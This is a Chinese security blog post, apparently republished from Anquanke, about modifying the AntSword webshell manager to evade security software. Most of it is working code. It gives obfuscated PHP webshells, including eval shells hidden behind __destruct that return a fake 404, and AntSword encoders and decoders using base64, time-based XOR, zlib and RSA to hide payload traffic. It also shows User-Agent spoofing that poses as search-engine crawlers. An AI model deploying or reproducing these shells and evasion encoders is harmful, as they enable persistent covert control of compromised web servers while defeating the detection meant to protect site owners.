中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。而在平常渗透测试中,也只是单纯利用蚁剑进行shell的维持,但如果网站安装了相应的安全软件,蚁剑也不一定能够成功隐藏身份,因此本文对蚁剑进行相关的改造,以实现让安全软件无法识别蚁剑的流量特征。
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
/modules/request.js中:
当然也可以修改成其他UA头,例如百度爬虫等UA,不过在这里可以借助设计爬虫的思想,设计一个动态的UA列表,每次随机加载其中之一即可:
let USER_AGENTS = [
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36",
"User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
];
const USER_AGENT = USER_AGENTS[Math.floor(Math.random() * USER_AGENTS.length + 1)];
读取文件:
cmd = @ini_set("display_errors", "0");
@set_time_limit(0); //不显示报错
function asenc($out){
return $out;
}; //用于返回信息
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "974d7a7b"; //用户流量混淆
echo @asenc($output);
echo "b8834c6"
;}
ob_start();
try{
$F=base64_decode($_POST["h84ecea2082e15"]);//base64解码post传入的另一个数据
$P=@fopen($F,"r");
echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;
}//进行文件读取
catch(Exception $e){
echo "ERROR://".$e->getMessage();}; //如有报错则会输出报错信息
asoutput();
die();
h84ecea2082e15=查看文件地址的base64
cmd即为shell的密码,不同的shell对应的密码也不一致,可以看到蚁剑在读取文件时,也做了相应的流量混淆,并不是完全毫无保留的对文件进行读取,通过分析流量仍能够非常清楚的看到相关意图,因此还需要对流量进行进一步的混淆。
这类安全软件大多都是分别从静态查杀和动态查杀进行同时拦截,因此我们首先要绕过静态查杀,而这种变形的webshell网上也有很多类似:
<?php
error_reporting(0);
function argu($a, $b){
$ext = explode('ABKing',$a);
$ext1 = $ext[0];
$ext2 = $ext[1];
$ext3 = $ext[2];
$ext4 = $ext[3];
$ext5 = $ext[4];
$ext6 = $ext[5];
$arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6;
$arr[1] = $b;
return $arr;
}
$b = $_POST['x'];
$arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b);
$x = $arr[0];
$y = $arr[1];
array_map($x, array($y));
?>
base64编码器
chr编码器
rot13编码器
b64pass编码器
/**
* php::b64pass编码器
* Create at: 2018/10/11 21:40:45
*
* 把所有 POST 参数都进行了 base64 编码
*
* 适用shell:
*
* <?php @eval(base64_decode($_POST['ant']));?>
*
*/
'use strict';
module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
delete data['_'];
return data;
}
}
该编码器将所有的内容全部进行base64编码,这样一来避免出现eval(base64_decode()),如果是这样,shell则需要进行base64_decode过滤:
双base64编码器
/**
* php::base64编码器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 链接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你本身的代码 ###################
// 如下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来以后,转为 base64 编码并放入 randomID key 下
data['_'] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
//data[pwd] = `${data['_']}"));`;
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你本身的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
基于时间的蚁剑动态秘钥编码器
'use strict';
//基于时间的蚁剑动态秘钥编码器
//link :https://yzddmr6.tk/posts/antsword-xor-encoder/
//code by yzddmr6
/* 服务端
<?php
date_default_timezone_set("PRC");
@$post=base64_decode($_REQUEST['yzddmr6']);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
eval($post);
?>
*/
module.exports = (pwd, data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
Object.assign(Date.prototype, {
switch (time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function (i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] < 10 ? date[i] = '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
})
return time;
}
})
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex')
key=key.split("").map(t => t.charCodeAt(0));
//let payload="phpinfo();";
let cipher = payload.split("").map(t => t.charCodeAt(0));
for(let i=0;i<cipher.length;i++){
cipher[i]=cipher[i]^key[i%32]
}
cipher=cipher.map(t=>String.fromCharCode(t)).join("")
cipher=Buffer.from(cipher).toString('base64');
//console.log(cipher)
return cipher;
}
data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(base64_decode("${data['_']}"));`;
data[pwd]=xor(data[pwd]);
delete data['_'];
return data;
}
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
date_default_timezone_set("PRC");
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$post=base64_decode($post);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
zlib_deflated_raw 编码器
/**
* php::zlib_deflated_raw 编码器
* Create at: 2019/01/12 00:05:44
* zlib 压缩 payload, 适配 shell 见代码处
*/
'use strict';
var zlib = require('zlib');
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = zlib.deflateRawSync(data['_']).toString('base64');
// <?php @eval($_POST['ant']);?>
//data[pwd] = `eval(@gzinflate(base64_decode($_POST[${randomID}])));`;
// <?php @eval(@gzinflate(base64_decode($_POST['ant']))); ?>
data[pwd] = zlib.deflateRawSync(`@eval(@gzinflate(base64_decode($_POST[${randomID}])));`).toString('base64');
// <?php @eval(@gzinflate(base64_decode($_POST['ant']))); ?>
// data[pwd] = zlib.deflateRawSync(`@eval(@gzinflate(base64_decode($_POST[${randomID}])));`).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
delete data['_'];
return data;
}
RSA编码器
/**
* php::RSA编码器
* Create at: 2021/03/02 15:27:33
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
for (var i = 0; n > i; i++) {
r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
}
data[pwd] = r.join("|");
delete data['_'];
return data;
}
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5ZIPIttsVOX4xU87JOkJCLZNW
g0H7dUdn0WCZofvwB3uWZy4xp7vvFqDkYakhOR0HOhRbLIHFg8gFKhBkJ8eyy78x
kd+L8zxjjUGqEek075VC0Bh7mqwfH5aANpI0LPxxasxq+MCe0OGGhnmI1ZGv/NNy
7zBTkeAIHOoyD/f1eQIDAQAB
-----END PUBLIC KEY-----
EOF;
$posts = explode("|", $post);
$pk = openssl_pkey_get_public($pk);
$post = '';
foreach ($posts as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$post .= $de;
}
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
总结
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();/*这里可以自定义代码*/};${data['_']}`;
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "25ad391b4";
echo @asenc($output);
echo "94db763fc9";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
/**
* php::base64解码器
* Create at: 2021/03/02 18:52:44
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/ns+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
rot13解码器
基于时间的动态秘钥解码器
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
date_default_timezone_set("PRC");
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($out);$i++){
$out[$i] = $out[$i] ^ $key[$i%32];
}
return @base64_encode($out);
}
`.replace(/ns+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
//确定一个24小时制的规范时间格式
Object.assign(Date.prototype, {
switch (time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function (i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] < 10 ? date[i] = '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
})
return time;
}
})
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex')
key = key.split("").map(t => t.charCodeAt(0));
let data = payload;
let cipher=Buffer.from(data.toString(), 'base64').toString();
cipher = cipher.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 32]
}
cipher=cipher.map(t=>String.fromCharCode(t)).join("")
return cipher;
}
return xor(data);
}
}
总结
- End -
精彩推荐
AntCTF X D³CTF Reverse签到题 No Name 详细题解 & IDA入门使用技巧
戳“阅读原文”查看更多内容 本文始发于微信公众号(安全客):【技术分享】对蚁剑的相关改造及分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论